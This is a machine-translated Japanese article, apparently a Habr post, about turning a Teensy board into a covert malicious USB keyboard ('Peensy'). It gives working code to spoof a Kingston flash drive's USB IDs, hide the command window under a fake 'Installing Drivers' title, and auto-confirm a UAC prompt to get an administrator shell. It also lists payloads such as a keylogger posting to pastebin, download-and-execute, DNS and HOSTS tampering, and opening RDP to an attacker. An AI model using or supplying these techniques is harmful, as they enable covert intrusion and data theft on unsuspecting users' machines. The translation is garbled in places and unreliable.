邪悪なUSB HIDエミュレーターまたは単にPeensy





攻撃の興味深いベクトルは、標準のUSBフラッシュドライブの場合にUSB HIDキーボード(およびマウス)エミュレーターを使用することです。 また、USBフラッシュドライブ上のautofun.infが既に何らかの方法で検索および破棄する方法を学習している場合、HIDエミュレーターではすべてがまだ悪い状態です。



まだこのトピックに慣れていない人のために、はじめにArduinoの Hub Battle HID Emulatorを読むことをお勧めします。 ここでは、Arduinoプログラミング環境のインストールと構成の問題については触れませんが、Penesy(Pentest + Teensy)の高度な使用について少し説明します。





最初に行うことは、Teensy MicroSDアダプターとDIPスイッチを購入することです。 Peensyがキーボードだけでなく、USBフラッシュドライブ自体もエミュレートできるようにするには、最初のものが必要です。 また、毎回「再入力」するよりも、既製のスクリプトをUSBフラッシュドライブに保存する方が便利です。 DIPスイッチは、フィールドで必要な負荷を選択するのに役立ちます。たとえば、32ビットバージョンと64ビットバージョンのスクリプトを切り替えることができます。



完成したPeensyは次のようになります。







すぐに行くことができるゴム製のアヒルを買うことができます。







Peensyを隠す



いくつかの保護は、Pensyを検出してブロックすることをすでに学習しています。 しかし、VendorIDとProductIDバンドルに従ってこれを行います。これは、Arduinoプログラミング環境で変更できます。

たとえば、\ arduino-1.0.1-windows \ arduino-1.0.1 \ hardware \ teensy \ cores \ usb_hid \ usb_private.hファイルを探し、対応するパラメーターをKingstonフラッシュドライブのパラメーターに変更します。 さらに、ファイルを下にスクロールし、パラメータSTR_PRODUCTを「Teensy」から「Kingston DataTraveler 2Gb」に変更します。 Peensyドライバーをインストールすると、通常のメモリドライバーではなく、複合デバイスのドライバーのみが提供できるようになります。 しかし、誰がこれに注意を払いますか?



Peensyの主な作業は、cmdウィンドウで行われます。 キーペアを追加することで、コマンドウィンドウを目立たなくすることができます。



cmd /T:01 /K "@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers"
      
      









フィードバックをオンにする



Teensyの仕事の重大な欠点は、ドライバーの初期インストールに必要な、デバイスの初期操作における巨大な遅延の使用でした。 Kautilyaフレームワークでは、初期遅延はデフォルトで25秒です。 25秒で、「USBフラッシュドライブ」で同僚から「必要なドキュメント」を破棄して、オフにすることができます。 また、たとえば30秒以内にドライバーがインストールされると、Pensyは開いているWordウィンドウにバトルスクリプトを直接配置します。



フィードバックの欠如とドライバーの初期インストールの巨大な遅延により、Pensyの有効性が大幅に低下しました...この目的でNumLockが登場するまでです!



NumLockキーを押すと、システムはキーボードに対応するダイオードを点灯するよう指示します。 この機能は、Penesyコードのフィードバックに使用できます。



Peensy NumLockキーを押したときのシステムの反応を確認するために、25秒の遅延を変更します。



 int ledkeys(void) {return int(keyboard_leds);} bool is_num_on(void) {return ((ledkeys() & 1) == 1) ? true : false;} void wait_for_drivers() { bool numLockTrap = is_num_on(); while(numLockTrap == is_num_on()) //  NumLock      { Keyboard.set_key1(KEY_NUM_LOCK); Keyboard.send_now(); // NumLock delay(200); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); // delay(200); } }
      
      





PowerShellがシステムにインストールされているかどうかを確認できます。

NumLockがオフになっていることを確認してください



  if (is_num_on()) { delay(500); Keyboard.set_key1(KEY_NUM_LOCK); Keyboard.send_now(); delay(700); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(500); }
      
      





PowerShellを使用して有効にします(cmdは開いている必要があります)



 Keyboard.println("echo Set WshShell = WScript.CreateObject(\"WScript.Shell\"): WshShell.SendKeys \"{NUMLOCK}\"' > numlock.vbs"); delay(400); Keyboard.println("cscript numlock.vbs"); delay(400);
      
      





現在は、is_num_on()を使用してNumLockのステータスを確認し、スクリプトが機能したかどうかを理解するだけです。



NumLockを使用したチェック(およびCapsとScroll lock)はPeensyコードの任意の部分に挿入できます。 たとえば、ユーザーがCMDウィンドウからフォーカスを削除したかどうか、スクリプトが正常に機能したかどうかなどを確認できます。



管理者権限でコマンドラインを実行する



管理者権限でコマンドラインを実行するには、WinKeyを押し、「cmd」と入力し、Ctrl + Shift + Enterを押し、表示されるUACウィンドウで「left」+ Enterを押す必要があります。



Peensyコードでは、次のようになります。



  Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); Keyboard.send_now(); // WinKey delay(400); Keyboard.set_modifier(0); Keyboard.send_now(); // delay(100); Keyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\" "); // cmd delay(400); Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.send_now(); Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT); Keyboard.send_now(); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); // cmd    delay(400); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); // ctrl+shift+enter delay(400); Keyboard.set_key1(KEY_LEFT); Keyboard.send_now(); //  delay(100); Keyboard.set_key1(0); Keyboard.send_now(); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); // enter delay(100); Keyboard.set_key1(0); Keyboard.send_now();
      
      







このコードは2秒で機能します。 1に減らすことができます。



Peensyのワークロードのほとんどには管理者権限が必要ですが、ユーザー権限で静かに実行される興味深いスクリプト(たとえば、すべてのキーストロークをpastebinに送信するキーロガー)があります。



このトピックがhabrayuzerにとって興味深いものである場合、以下の記事でいくつかの興味深いスクリプトを分析します。 ただし、スクリプトは、著者Kautilya Nikhil Mittalのブログから個別にダウンロードして学習できます。



おわりに



Peensyのスペクトルと可能性は日々成長しています。 高速な最新のコンピューターでは、PensyはほとんどのPCユーザーに検出されないほど密かにこれを行ったため、数秒で負荷を減らすことができます。



NumLockおよび/またはScrollLockキーを使用したフィードバックの存在により、適応性のあるフォールトトレラントな負荷を作成できます。 PowerShellを使用すると、攻撃者の機能が大幅に拡張されます。



たとえば、PowerShellを使用すると、次のことができます。

-非表示のInternet Explorerウィンドウを使用して、システム情報/特定のファイルの内容をpastebin.comに送信します。

-DNSサーバーを変更します(これにより、ユーザーのインターネットアクティビティを制御できます)。

-実行可能ファイルをダウンロードして実行します。

-HOSTSファイルを編集します(クライアントページなどのWebページを置き換える必要があります)。

-RDPプロトコルを有効にし、攻撃者を接続するように構成します。

-スクリプトキーロガーまたはスニファーをインストールします。

-指定されたパラメーターなどでWiFiアクセスポイントを上げる



ここでは、Teensyが管理者権限を持つメモ帳の形で負荷をかけた実際のマシンで作業する小さなデモを示します。







他に読むものは何ですか?






All Articles